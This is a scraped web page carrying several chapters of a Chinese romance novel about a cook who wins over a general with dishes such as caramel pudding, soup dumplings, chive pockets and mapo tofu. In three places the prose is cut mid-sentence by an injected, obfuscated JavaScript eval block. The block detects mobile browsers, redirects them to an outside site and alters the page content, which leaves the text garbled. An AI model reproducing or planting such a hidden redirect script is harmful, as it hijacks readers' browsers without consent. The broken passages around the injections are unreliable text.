阿史那甚至没顾得上客套一句，喉头再次剧烈地滚动了一下，迫不及待地伸出粗大的、指节突出的手，一把抓起了碗边的乌木长筷。 “呼噜噜！嘶——哈！” 苏蛮蛮退至一边，看着阿史那吃着那碗面的神情，满是欢喜！ 萧燕瑾的目光微微瞥了过去，见阿史那吃得如此欢快，却又感觉被辣到不行的模样，他又想尝试又害怕，最终抵抗不了眼前面条的诱惑，拿起长筷吃了起来。 “呼噜噜！嘶——哈！” 阿史那埋头吃面的声音依旧响起，响亮而急促，滚烫的面条裹挟着那前所未见的辛烈味道，冲进口腔。 他显然被烫了一下，却完全停不下来，额头上瞬间沁出细密的汗珠，大口吸着气，灰绿色的眼睛因为极致的刺激而微微泛红，却闪烁着极度满足的光芒。 他吃得全神贯注，浑然忘我，仿佛周遭的一切都不复存在。 萧燕瑾挑起一筷子吹了吹，往嘴里送去，他的面条入喉虽说有些辛香，但不至于辣到刺激。 他微微抬眸看了看阿史那，只见阿史那的汗珠不停地往外涌着，毛发都在不经意间被汗珠浸湿。 苏蛮蛮走向萧燕瑾，“将军觉得味道如何？” “一般吧。” 苏蛮蛮笑了笑，一般就一般吧，一般你还吃得那么爽快，生怕阿史那跟你抢似的。 一想到这，苏蛮蛮低着头用手中的托盘挡住脸，轻微的笑声只有她自己能够听见。 阿史那最后连佐料都吃得干干净净。 “嗝——” 他摸着他那圆滑的肚子，微微靠在身后的椅子靠背上，拿起手边的凉茶轻轻喝上一口。 “萧将军，府上的食物真是别具一格，我很喜欢，多谢将军款待。” 萧燕瑾的碗也见了底，他擦了擦自己的嘴角，双手抱拳对着阿史那说道：“阿史那既然来了我这小地方，那自然是要款待周道的，你喜欢就好。” “喜欢，非常喜欢。”说着阿史那的眼神自然而然地就看向了苏蛮蛮，下一秒又扭头看向萧燕瑾，“萧将军，听闻将军酷爱美食，此次前来拜访还为将军准备了一些西域才会有的佐料，还请将军笑纳！” 说罢，他抬起手拍了拍，几位下属抬着两个箱子就进了花厅，他站起身来走过去打开箱子，里面全是一等一的佐料，是在这大虞从未见过的好东西。 苏蛮蛮的眼睛都在发光。 “那就多谢阿史那了。” 送走阿史那后，苏蛮蛮毫不犹豫的和李妈妈一起将那两箱子属于厨房的东西搬走。 萧燕瑾站在一边看她使劲儿，一句叫他帮忙的话都没有，哪怕是自己的手都被勒出了红痕，她也一个字都没叫过。 刚搬出花厅，距离厨房还有好一段小距离，两人将箱子放在路中央歇脚，李妈妈擦了擦额头的汗珠说道：“蛮蛮，要不我们找几个人帮忙吧？将军就在那儿，要不......” “别了，看着他那块冷冰冰的脸就没意思，让他帮忙会帮吗？”苏蛮蛮笑着戳了戳李妈妈的脸蛋，“好啦，搬过去了我等会儿给你做好吃的，怎么样？” 一听到好吃的，李妈妈瞬间就提起了精神，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723604|173950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可想知道苏蛮蛮还会做什么不一样的吃食，迫不及待地想要尝尝了。 “咳咳！” 身后传来略显粗犷的男声，苏蛮蛮扭头看去，萧燕瑾叫了几个奴仆将花厅里的另一个箱子搬了出来，跟在她俩身后。 其余两个奴仆走上前来提走了苏蛮蛮她们正在搬的这个箱子，往厨房走去。 苏蛮蛮的心都提到嗓子眼儿了，左手抠着右手的指甲盖，紧张到都快不会说话。 不是吧不是吧！点儿这么背的吗？刚说完他坏话人就出来了，到底听没听见啊？ 李妈妈看了看苏蛮蛮，赶忙笑着打了圆场，“多谢将军，蛮蛮这小身板儿确实抬不动，能抬出来花厅已是不易了。” 萧燕瑾没说话，背了个手径直走向了苏蛮蛮，两人的心一下子像停止了跳动，李妈妈就差一把跪下替苏蛮蛮认错了。 没想到，他直接略过了苏蛮蛮，背着手一直往前走。 苏蛮蛮深呼吸一口气，看了一眼萧燕瑾的背影，扭头拉着李妈妈就赶忙跑向厨房。 萧燕瑾顿了顿脚步，微微向后看了一眼，扯着嘴角轻笑一声，朝着书房的方向走去。 厨房里，李妈妈和苏蛮蛮放好了那两箱子宝贝，两人瘫坐在地上休息着，李妈妈的嘴里还吃着苏蛮蛮做的伪舒芙蕾，那可谓是美滋滋。 “蛮蛮，我跟你说真的，这一口真的超级满足，做再多我都甘愿！” 苏蛮蛮看着她笑了笑，“好啦，吃完了可以回去休息了，剩下的收尾工作我来吧！” 李妈妈笑着将最后那一口塞进嘴里，一只手撑在地上将自己托起来，甩手拍了拍自己的屁股，“那我走咯，你也早些回去休息吧！” 苏蛮蛮点点头，待李妈妈走后，她缓缓地站起来走到门口左看看右看看，见四下没人便将大门关了起来。 她走向架子边拿上几个鸡蛋，又拿上牛乳和酥油（奶油）、砂糖和糖粉，还有一些香草精。在锅里放进了75g的砂糖，小火熬煮至浆状，轻轻地用小勺子将锅中央的砂糖一点点推到锅的周围，让砂糖均匀地受热熔化。 再将准备好的10ml开水倒进糖浆中，快速搅拌均匀，趁热倒进粗陶碗里，没有模具，只好用圆圆的碗代替。 这时把全蛋和蛋黄都打入大碗中，放进65g的砂糖再将蛋打散。 把15g的砂糖放入400ml的牛奶，用另一口锅小火煮至快开之前快速关火，滴入少量的香草精稍稍加以搅拌。 牛乳的温度不宜过高，及时取出来分次倒入已经打好的蛋液之中，再用罗筛过滤掉奶皮和泡沫。 最后将蛋液倒进粗陶碗中。 苏蛮蛮将吊炉中加入热水，再将粗陶碗稳稳地放进吊炉之中，再坐等上个几刻钟。 Q弹软糯，香甜无比的焦糖布丁就出来啦！ 没有精确的量过克重，她的每一步都是按照自己心里想的那个比例做的，算着时间差不多的时候，苏蛮蛮将焦糖布丁从吊炉里拿了出来。 “哇，好香！” 看着桌上的那碗布丁，她迫不及待地用勺子在上面轻轻拍了拍，果然□□弹弹的，她成功了！ “yes！” 正准备独自在厨房里享用着这份美食的时候，放置香料的架子后面有些奇怪的动静，吓得苏蛮蛮勺子含在嘴里还没来得及拿出来，就蹲在了桌子底下。 “谁啊？” 5. 灌汤包 苏蛮蛮在桌下蹲了好一会儿，见还没人出声，她紧闭的眼睛缓缓睁开来，左看看右看看并未看见有其他人的身影。 她深呼吸一口气，怯懦懦地又问上一句，“谁啊？” 还是没有人回答，她这才准备从桌下爬出来。 双手刚撑在地上，从桌下探出脑袋的同时，眼前就出现了一双常年行军打仗会穿的鞋。 顺着鞋往上看，萧燕瑾的脸映在了苏蛮蛮的眼球中。 “啊！！！” 下意识地将自己的嘴给捂住，这个点了要是把其他人吵醒就不好了，猛地一个起身，“咚”的一声，脑袋直直地磕在了桌沿。 这叫苏蛮蛮真的是有苦说不出，心里已经骂了萧燕瑾一万遍了！ 萧燕瑾见她要爬出来，往后退了退，苏蛮蛮从桌下爬出来后，一只手拿着勺，一只手捂着头，双眸恶狠狠地盯了盯萧燕瑾。 随即在萧燕瑾对上她的视线时将那眼神收了回去，扯着嘴角笑着行礼，“将军，你怎么......？” “本将军饿了，来寻吃一下吃食，没想到竟有人在此开小灶！” 话刚说完，苏蛮蛮顾不得手脏不脏了，也顾不得他是不是将军，朝着萧燕瑾过去一把捂住他的嘴，“嘘！” “给你吃，都给你吃，别说啦！” “嗯？”萧燕瑾的眼神愈发地狠厉，苏蛮蛮吓得收回了自己的手，站在他面前一直低着头，不敢看他。 苏蛮蛮以为他会大发雷霆，然而他并没有，他只是越过苏蛮蛮朝着桌上的那碗布丁走去。 拿起一旁的勺子，轻轻拍了拍这个□□弹弹的东西，沾上一边的边角料轻轻放在嘴里，确认了那股香甜的味道就是从这个东西上发出来的，他又用勺子舀了一勺。 苏蛮蛮等了许久，没有等到萧燕瑾的发落，睁开眼睛一看眼前人已经不知道去到何处。 她瞬间挺直自己的腰板，笑着转身看向布丁，口水吞了又吞，布丁已经下去了半碗有余。 顺着那舀布丁的手看上去，得了，这个人得罪不起！ 下次再做吧！！ “那个....将军，看在这么好吃的食物的份儿上，刚才那....别跟小女子一般见识了吧？”苏蛮蛮放下手里的勺子，双手合十朝着萧燕瑾乞求道，“可别削减我的月俸啊！！” 萧燕瑾没说话，只是自顾自地吃着眼前的布丁，一碗布丁不一会儿就还剩下一小口，苏蛮蛮在一旁看着直流口水。 苏蛮蛮想要伸手去抢那最后一口，不料已经被萧燕瑾送进了嘴里，“诶诶诶诶.......” 好歹，给我留一口啊！ “将军，”苏蛮蛮看着萧燕瑾的眼睛眨巴着，“味道可还好？” “一般吧。” 说完，他背着个手就朝着厨房外走了，仿佛刚才这个人从来就没来过厨房，也没有悄悄地躲在架子后面。 苏蛮蛮才懒得管他，转身朝着那碗布丁就跪了下去，“萧燕瑾，一般你还给我吃完了，真是一点都不给我留啊！！” “堂堂将军，半夜跑到厨房来偷吃的，看我明天不给你宣扬出去，”说着她就瘫坐在地上，“苏蛮蛮你想什么呢？人家是这个府里的一家之主，人家想去哪儿去哪儿啊，更何况你还拿着人家给的工资，你清醒点儿吧！” 她坐在地上摇了摇头，站起身来从一旁拿出来一块木板，白天路过花园的时候看到了这个东西，觉得刚好可以拿来写每日菜单，就顺了回来。 看着那块板子盯了许久，怎样才能够写了后面还能擦呢！ 这里也没有粉笔什么的...... 有了！ 毛笔写字，晚上的时候用毛巾高温蒸煮后擦掉。 说干就干，她拿出一旁记录着厨房大小事宜的毛笔，说是记录，其实厨房里没人会用，毕竟李妈妈大字也不识一个，压根儿就没用过这东西。 将木板清洗干净，毛笔这些东西也一应清洗干净，还有萧燕瑾吃过独食的那个碗也得洗干净，免得明天被李妈妈抓包了躺枪的还是她。 然后，就可以美美的回去睡觉啦！ 第二日一早，苏蛮蛮就充满干劲儿地起了床，走到厨房里的时候，对着李妈妈笑着就是一句，“李妈妈早，今天又是充满活力的一天哦！” 李妈妈也冲着她笑了笑，但是没有回应任何话，她不知道如何回应，只好跟着笑了笑。 苏蛮蛮看着干干净净的木板，和一边整理好的毛笔刷子，沾着墨就往上唰唰唰的写上字。 李妈妈收拾好厨房跟她旁边站着，毫不吝啬地夸着她，“蛮蛮，你这字写得蛮好嘞，不像我大字都不识一个。” “你想学啊，我教你啊！” “真的吗？” “我什么时候骗过你呀！” 苏蛮蛮把写好的木板挂在厨房外出菜的小窗口边上，引得许多丫鬟小厮都前来观看。 周妈妈也不例外，站在最不起眼的位置里，还是被苏蛮蛮一眼就发现了。 她知道周妈妈还略微认识几个字，便走向周妈妈，笑着说道：“周妈妈，你现下有空吗？” “怎么了？有求于我？”还是那一副趾高气昂的样子。 苏蛮蛮上前挽着她的胳膊，着实把周妈妈吓了一跳，“当然啦，这不是知道周妈妈您识字儿嘛，丫鬟小厮都不知道那木板上写的什么，请您去跟她们讲解讲解。” 说着挽着她就把她往厨房那边拉，周妈妈一脸惊讶地看着苏蛮蛮，这还是她认识的苏蛮蛮吗？ 为什么？ 自己当初都那样对她了，现下为何还？ 带着满脸的惊讶跟着苏蛮蛮走到了人群之中，所有人都簇拥而来，“这写的是什么啊？” “这个呀让周妈妈来跟你们讲，我和李妈妈呀要去给大家做早膳了，免得等会儿迟了时辰，让将军久等。” 周妈妈看着苏蛮蛮说完后转身就往厨房跑，本来还想说些什么，被一群丫鬟小厮团团围住，脸上瞬间炸开了花，指着木板津津乐道地说着。 “今日早膳——灌汤包。” 李妈妈看了看门外，又看了看刚进来的苏蛮蛮，笑着说道：“蛮蛮，你可真有本事！” “李妈妈惯会取笑我。” “我可没有，说的那可是实话。” 说话的功夫，李妈妈手里的五花肉已经被剁成了肉糜，放进碗里加上了鸡蛋葱花姜蒜一系列的佐料进去，朝着一个方向搅拌着。 一边搅拌，一边倒上了花椒水。 那是从阿史那带来的佐料里找到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723605|173950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，也没有多少，所以得紧着用。 苏蛮蛮则是将昨晚睡前就已经做好的肉皮冻切碎，猪皮必须要洗干净还得去除杂毛，冷水下锅淹没猪皮，水煮开后撇去浮沫。 小火再慢煮一个时辰，捞出肉皮，罗筛过滤一下，由于没有冰箱冷冻，所以只得放置在厨房晾着，直至第二日方可使用。 凉好的肉皮冻切成细碎的小丁点儿，放进拌好的肉馅儿里，李妈妈手里的面团也已经发酵好了。 做成面团剂子擀成面皮。 李妈妈在一旁擀着，苏蛮蛮在另一边包着，两人的速度不一会儿就包了满满的几个大盘子。 锅里的水已经开始“咕噜咕噜”沸腾起来，厨房外的丫鬟小厮都已去干各自的活儿了，周妈妈就站在门口看着里面忙碌，也不敢进去打搅。 站了好一会儿，苏蛮蛮将丫鬟小厮的那一份先放上锅煮了起来，时间也不需要太长，一刻钟的功夫。 她的目光瞥见了门口的周妈妈，走上前去将周妈妈拉进了厨房，还给她倒上了一杯水。 这让周妈妈更加羞愧起来，她慢慢地开了口，“蛮蛮，我.....” “周妈妈，以前的事都过去了，我们谁也不要去提了，全然翻篇儿了，现在我们是一个大集体，应当互帮互助才是，你说是吧？” “哎哎，是是是。”周妈妈笑着点头，这才拿起桌上的水杯一口全喝了下去，差点没给自己呛着。 李妈妈站在一旁笑她，“老周婆，你看看你，这是作甚，又没人跟你抢！” “哈哈哈哈——” 三个人在厨房里笑得不亦乐乎，站在门口的萧燕瑾似乎在享受着这个充满欢声笑语的过程，若不是军师告诉他苏蛮蛮在厨房外挂了个食谱，他还看不到这一幕。 嘴角轻轻地咧着，鼻子里瞬间闻到了一股包子的香味，这个香味与其他的包子全然不同，有面皮的面香，还有馅料的鲜香。 他转身准备离开的时候，周妈妈端着丫鬟小厮的吃食刚巧走出来，准备行礼的时候萧燕瑾扶住了她。 “端着这许多东西，就不必行礼了，快些端过去吧。” “多谢将军。” 苏蛮蛮双手抱臂看着门外的这一场景，嘴里轻声念叨着，“昨儿个这人也不是这样啊！转性了？” 萧燕瑾扭头看向厨房里的时候，刚巧和苏蛮蛮对上了视线，吓得苏蛮蛮一怔，“不，还是昨儿个那个萧燕瑾！” “蛮蛮，你嘀咕什么呢？” “啊，没什么.....”再次扭头看向厨房外的时候，萧燕瑾已经不在那里，苏蛮蛮还有点怀疑是不是方才自己眼睛看花了。 花厅里，萧燕瑾早早地做好等着早膳，苏蛮蛮端着热乎乎的灌汤包朝里走来，放在桌上，一旁的军师眼巴巴地望着萧燕瑾。 “军师。” “哎。” “坐下一块儿吃吧！” 赶不及说话，军师一个箭步坐在了萧燕瑾身旁，拿起筷子夹住灌汤包就吃了起来。 咬上一口，还滋滋冒油，他“滋溜”一声，将里面的水吸了干净，最后将包子一口塞进嘴里。 一边嚼着一边说道：“将军，你快试试，好好吃！” 萧燕瑾夹在半空中的包子，终是进了嘴。 6. 韭菜盒子 花厅内，蒸腾的热气裹挟着面香与肉香，丝丝缕缕，勾人魂魄。 萧燕瑾手中的乌木筷悬在最后一只灌汤包上方，动作优雅还带着一丝丝不易察觉的急促。 军师在一旁早已风卷残云，面前的碟子干净得能够照出人影，此刻正眼巴巴地望着将军筷子下那只饱满晶莹的“小灯笼”，喉结无声地滚动。 “滋溜——” 萧燕瑾终于夹起包子，轻轻咬开一个小口。 滚烫鲜美的汤汁瞬间涌入口腔，带着猪肉的醇厚、皮冻的胶质融合后的丰腴，还有一点点若有若无的花椒辛香。 汁水烫得他舌尖微微发麻，却舍不得将其吐出，只得飞快地吸吮，那动作在平日里威严冷峻的萧燕瑾身上，着实不多见。 汤汁吸尽，剩下薄韧的面皮包裹着鲜嫩弹牙的肉馅，一口咬下，满口生香。 肉馅中细碎的肉皮冻丁在齿尖融化，带来额外的滑嫩和层次感。 “如何？” 苏蛮蛮站在一旁，明知故问。 萧燕瑾咽下最后一口，拿起温热的手巾慢条斯理地擦了擦嘴角，动作恢复了一贯的从容，他抬眸，目光落在苏蛮蛮那张小巧的脸上，薄唇轻启，“尚可。” 军师在一旁差点被自己的口水呛到。 尚可？将军您刚才吸汤那劲儿，可是恨不得把碗底都嘬穿！ 苏蛮蛮嘴角微抽，心里的小人已经把“萧燕瑾”三个字按在地上摩擦了无数遍。 行，您嘴硬，您是大爷！ 面上却只能恭敬垂首。“多谢将军，奴婢定会加以改正。”声音里那点咬牙切齿的意味，也就她自己能够品出来。 “明日早膳......”萧燕瑾指尖在紫檀案几上点了点，目光扫过苏蛮蛮，“要清爽些。” 灌汤包虽鲜美，但油润感十足，连着吃确实会有些厚重。 “奴婢遵命。”苏蛮蛮应下，心里迅速盘算起来，清爽？早膳？ 既要开胃提神，又不能太过于清淡寡味......有了！ 寅时刚过，天边才透出蟹壳青，厨房的灯火便已亮起。 苏蛮蛮和李妈妈、周妈妈三人围在案板前，气氛比昨日更为融洽。 “蛮蛮，今儿个做什么？”李妈妈揉着一团醒好的面，那面团在她手里服服帖帖，光滑柔韧。 苏蛮蛮正麻利地处理着几把刚从后院小菜圃摘来的嫩韭菜，水灵灵的，翠绿欲滴，还带着一些清晨的露气。 “韭菜盒子。” “韭菜盒子？”周妈妈也凑过来看，有些迟疑，“这......味道冲了些，将军能喜欢？” 韭菜气味独特，并非人人都能接受，尤其贵人们，常常嫌弃其气味不雅。 “放心。”苏蛮蛮将洗干净沥干水分的韭菜放在案板上，手起刀落，切得细碎均匀，“我有法子，咱们用最新鲜的嫩韭菜，味道清甜不冲鼻子，再配上一些好东西。” 她神秘一笑，还卖个关子，走到存放阿史那送来香料的箱子旁，小心地取出来一个布袋。 打开布袋，一股子奇异的辛香混着果香飘散出来，是孜然粉，西域特有的香料。 “用这个？”李妈妈眼睛一亮。 “嗯，一点点，提香解腻，去腥增味，和韭菜可是绝配。”苏蛮蛮用小勺舀出少许金黄的孜然粉，又拿过来几个鸡蛋，“再来点鸡蛋，滑嫩鲜香。” 她将鸡蛋打入碗中，快速搅打成均匀的蛋液，另起一口小锅，烧热后倒入少许芝麻油，这也是阿史那带来的宝贝之一，可比之前府中常用的猪油更清香。 油热滑锅，倒入蛋液，“滋啦”一声，蛋液迅速膨胀起来凝固成金黄色的蛋饼。 苏蛮蛮用筷子快速划散，炒成细碎嫩滑的鸡蛋碎。 将炒好的鸡蛋碎倒入切好的韭菜中，再加入少许的盐，一点点提鲜的虾皮粉，这虾皮粉还是从厨房角落里翻出来的陈货，品质算不得好，但也能将就，以及那关键的、分量精准的一小撮孜然粉。 最后在淋上几滴芝麻油，用筷子沿着一个方向轻轻搅拌均匀。 翠绿的韭菜、金黄的蛋碎、深褐的虾皮、金黄的孜然粉，混合着香油和孜然的香气，光是这馅料本身，就看得人食指大动，那点韭菜的“冲”味，早就被调和得只剩下诱人的鲜香。 “真香啊！”周妈妈忍不住吸了吸鼻子，由衷地赞叹，“这味儿，闻着就开胃！” 李妈妈那边已经将醒好的面团分成大小均匀的剂子，擀成中间稍微厚一点，边缘略微薄一点的圆面皮。 苏蛮蛮取过一张面皮，用筷子夹起来一大勺馅料放在中央，随后压实，接着手指灵巧地将面皮对折，边缘捏紧，再捏出细密均匀的花边儿。 一个饱满半月形、边缘带着精致褶子的韭菜盒子就诞生了。 “这花边捏得真好看！”李妈妈佩服地说道。 “好看又实用，捏紧实了，等会儿煎的时候才不容易漏馅儿。”苏蛮蛮笑着解释，手下没有停歇，一个个胖乎乎的韭菜盒子很快摆满了案板。 没有平底锅，就拿着一口较浅的宽口铁锅置于灶上，烧热后倒入薄薄的一层芝麻油。 油温升至五六成热，苏蛮蛮小心地将韭菜盒子贴着锅边滑入，热油立刻发出欢快的“滋滋”声，白色的面皮边缘迅速染上了诱人的金黄色。 苏蛮蛮专注地盯着火候，时不时轻轻晃动锅子，让盒子受热能够均匀。 厨房里瞬间弥漫开一种难以言喻的香味，有着面皮煎烤的焦香、芝麻油的醇香，有着韭菜特有的清新、鸡蛋的蛋香、虾皮的鲜香，还有着那丝丝缕缕、画龙点睛般的孜然异香。 几种味道交织融合，霸道又不冲突，清新鲜活，确实不负“清爽开胃”这个名头。 周妈妈和李妈妈都忍不住围在锅边，看着那金黄的盒子在热油中轻轻颤动，表皮逐渐变得酥脆透明，隐约还能见到内里那翠绿鲜嫩的馅料。 “好了！”苏蛮蛮看准火候，用锅铲将韭菜盒子一个个翻面，另一面也煎至完美的金棕色，边缘微微翘起，带着诱人的焦脆感。 出锅！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723606|173950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金灿灿、胖乎乎的韭菜盒子被整齐地码在粗陶盘之中，散发着无法抗拒的热气和香气。 花厅里，萧燕瑾正与军师对弈。 棋局胶着，但空气中隐隐飘来的一个奇特的香气，像是一只无形的小手，不断地撩拨着两人的心神。 “将军，您闻到了吗？”军师忍不住放下棋子，使劲儿嗅了嗅，“这味儿......好奇特！” 萧燕瑾执棋的手指微微一顿，他当然闻到了，那股香气直直钻入鼻腔，瞬间唤醒了沉睡的味蕾。 要说昨日的灌汤包是温润的满足，那今日这香气，就像是一道清冽的溪流，还带着山野的气息，让人精神一振。 门帘掀开，苏蛮蛮端着托盘走了进来。 盘中的主角不再是汤碗，而是一碟金黄油亮的半月形面点，旁边还配了一小碟颜色清亮的米醋。 “将军，军师，早膳请用。”苏蛮蛮声音清脆，将托盘里的粗陶盘放置桌上，指着那韭菜盒子说道，“韭菜盒子配着米醋解腻提鲜。” 萧燕瑾拿起一个韭菜盒子，入手微烫，分量很扎实，透过半透明的薄皮，隐约可见里面的馅料，引人遐想。 试探性地咬了一口。 “咔嚓！” 酥脆的外匹配应声而裂，发出悦耳的轻响声，紧接着，温热的馅料涌入口中，嫩滑的鸡蛋碎带着油香，细嫩的韭菜段保持着翠色和脆嫩的口感，还释放出了独特的辛香，韭菜的微微腥气也处理得干净妥当。 馅料调味精准，咸淡适中，唯有食材本身的鲜美在舌尖上舞蹈着，再蘸上一点点微酸的米醋，更是将所有的味道瞬间提升，清爽解腻，让人胃口大开！ 萧燕瑾的咀嚼动作不自觉地就加快了。 一个下肚，胃里暖融融的，口腔里却是异常地清爽舒适，完全没有一点不适，反而有一种意犹未尽的感觉。 军师早已经迫不及待，口水吞了又吞，赶忙伸出手拿出一个，一口咬掉了小半个，烫得直哈气也舍不得吐，含糊不清地赞叹，“好吃！太好吃了！” 苏蛮蛮抿嘴笑了，她偷偷抬眼看向萧燕瑾。 只见他正拿起第二个韭菜盒子，动作依旧从容，但是进食的速度明显比平时快了几分，他蘸了点醋，咬下一口细嚼慢咽，深邃的眼眸微垂，似乎在认真的品味着。 没有“一般”，也没有“尚可”。 只有沉默的、持续的进食动作，以及那微微舒展的眉心，无心地宣告着对这“清爽”早膳的极高认可。 苏蛮蛮悄悄松了口气，眼底全是笑意，她仿佛已经看到了下个月那五两月俸，正扇着小翅膀朝她飞来。 太好了，攒钱开铺子的梦想，似乎又近了一小步，钱啊，快飞来吧！ 就在这时，萧燕瑾忽然抬眼，目光刚好印上她那还没来得及收回的笑意，那目光深邃，带着一点点一探究竟的意味。 苏蛮蛮心头一跳，慌忙垂下头，眼观鼻鼻观心，心里的小人又开始哀嚎：这位爷，您吃您的就好，别动不动就用那眼神吓唬人行不行！ 7. 麻婆豆腐 “不要，不要过来......” “不要！” “啊！” 苏蛮蛮抓紧被褥突然睁开眼睛，一把坐了起来，满头大汗，大口喘着气，抬手擦着自己额头的汗珠。 缓了一会儿后起身走到桌前倒上一点水大口喝着，坐在桌边手中紧握着那水杯，久久不能放开。 虽然是做梦，但是梦里的场景却如此的熟悉，熟悉到她好像亲身经历过。 不对，是这具身体亲身经历过。 “难道是，这个身体的原主人已经被人害死了？”她呢喃着，又大口喝着水，脑子里不停地回想着梦里推自己下水的那个人到底是什么模样。 想了许久，还是没有想出来什么名堂，只是隐约看见那是一个女人。 再也睡不着的她准备起身去到厨房收拾收拾，顺便将大家的早膳给做了，煮点白粥什么的吧，清淡清淡饮食。 站在厨房时，她没精打采的，丝毫没有察觉到身后有什么人走了过来，不知不觉中她闻到了一股糊味儿，猛然低头一看，锅里的白粥都有些糊了。 她赶忙用勺子搅一搅，随即去将火弄得小些，还被蹭了一些草木灰在脸上，像极了一个小花猫。 发个呆的功夫，李妈妈就走了进来，看着苏蛮蛮那一脸的草木灰忍不住调侃道：“蛮蛮，你这大清早的，是从这火堆里刚爬出来吗？” 苏蛮蛮赶忙跑到一边打着清水看了看，顺势擦掉了脸上的灰，“我就是去点柴火，白粥底下有些粘锅。” 李妈妈笑着将煮好的白粥盛起来，把锅洗了个干净，走到她身旁笑道，“不笑话你了，将军连着去军中也有些时日了，今儿听说要回来，说是要在府中吃午膳，还有.....” 苏蛮蛮凑近耳朵一听，“还有什么？” “听说啊，将军救了一个蜀地的姑娘，要一并带回来呢！” 果然，八卦到哪儿都是很盛行的，军中的事府里这么快就传开了，一大早丫鬟小厮什么的都开始忙碌起来。 “美吗？”苏蛮蛮的这一问让李妈妈差点翻了个白眼儿，她又笑着说道，“要是美的话没准儿还能配得上咱将军，可若是不美，这将军的审美不咋地啊！” 笑着调侃完后，她将自己洗脸的清水倒了出去，想着午膳要做点什么给这位来自蜀地的姑娘。 蜀地，那不就是川菜嘛！ 有了，麻婆豆腐，晚些时候再看看添个什么其他的菜式吧。 回到厨房，将手里的盆放在架子上，双手在粗布围裙上擦了擦自己残留的水，“李妈妈，帮我把昨儿个剩下那豆腐拿出来吧，把那豆腐洗干净切成小方块。” 李妈妈一听，赶忙动起手来，拿起豆腐轻轻用水洗净，手腕轻转，刀光如同雪片般落下，案板上笃笃声细密又均匀。 眨眼间，那块嫩豆腐已经化作大小均等，棱角分明的雪白小方块，推在那个瓷盘里，像极了那羊脂玉。 紧接着，一块暗红油亮的豆瓣被置于案板，苏蛮蛮的刀瞬间落下，将豆瓣细细斩碎，直至化为细腻的酱泥。 苏蛮蛮取过小铁锅，不放油，只是将那干辣椒段和花椒倒入锅中，手腕轻轻地颠动铁锅，李妈妈在柴火边守着，小火舔舐着过低，不多时，一股直冲鼻腔的椒麻异香便在厨房里炸开。 引得坐在一旁拾柴火的李妈妈忍不住吸了吸鼻子。 起锅，烧油。 将油烧至滚热，多岁的豆瓣酱泥倾入滚油之中，“滋啦——”一声爆响，红浪翻腾！ 那暗红的酱泥在热油中迅速化开、舒展、翻卷，浓烈的红油翻滚着，鲜香的气息瞬间席卷了整个厨房。 切得极细的姜末和蒜末也被投入这翻滚的红油熔炉，辛辣被热油一刺激，爆出了更加浓郁的辛香，紧接着是早已经剁好的肉末，粒粒分明，投入这红油之中迅速变了颜色。 此时，苏蛮蛮拿起来那一盘雪白的豆腐块小心倒入锅中，并没有用铲子翻炒，而是轻轻地晃动着铁锅，均匀地给这豆腐染上一层红红的皮肤。 等到豆腐均匀地挂上红亮汤汁的时候，苏蛮蛮这才舀了一勺滚热的高汤，将其倒进红锅，又是“滋啦”声一阵，调料的味道彻底被激发。 李妈妈捣碎的花椒和辣椒粉已经在手边，她顺手拿起来均匀地撒进去，又将切好的蒜苗投进了这红油之中，整盘才瞬间被注入了灵魂，色泽鲜亮，闻着都让人流口水。 最后一步则是轻微的勾芡，她用小勺子将方才调匀的水淀粉一点点地洒进锅里，每洒一次都会用铲子沿着锅边轻轻地将其推匀。 大吸一口这香气，苏蛮蛮将其盛入一个素净的白瓷盘里，红油清亮，豆腐棕红软嫩，翠绿的蒜苗点缀着，李妈妈不知何时凑在了苏蛮蛮的身旁，眼神直勾勾地盯着这盘她并不知道叫什么菜名的豆腐，口水吞了又吞。 苏蛮蛮轻轻夹起来一块边上的豆腐递到李妈妈嘴边，“尝尝？” 李妈妈连忙摆手，“这不合规矩。” “你再不吃，这豆腐可就掉地上了......” 眼看着这嫩豆腐已经开始分裂，即将掉落在地，李妈妈一个眼疾手快将这豆腐精准地放进了自己的嘴里，这滋味真是让她满足得不能再满足了。 “将军回来了，要用膳。”周妈妈的声音在门口出现，那股味道也是将她给迷住了。 苏蛮蛮应声，“知道了。”随即端上那豆腐就准备往花厅走去，刚走到门口看见周妈妈盯着这豆腐的眼神迟迟没落下，笑着回头对着她和李妈妈说道，“改日给你们做！” 两人笑着对视了一番，周妈妈就跟在苏蛮蛮的身后离开。 苏蛮蛮缓缓掀开门帘，那女子比萧燕瑾更先对上她的视线，一旁的军师笑着说道：“苏姑娘，今儿个又是什么菜式啊？” 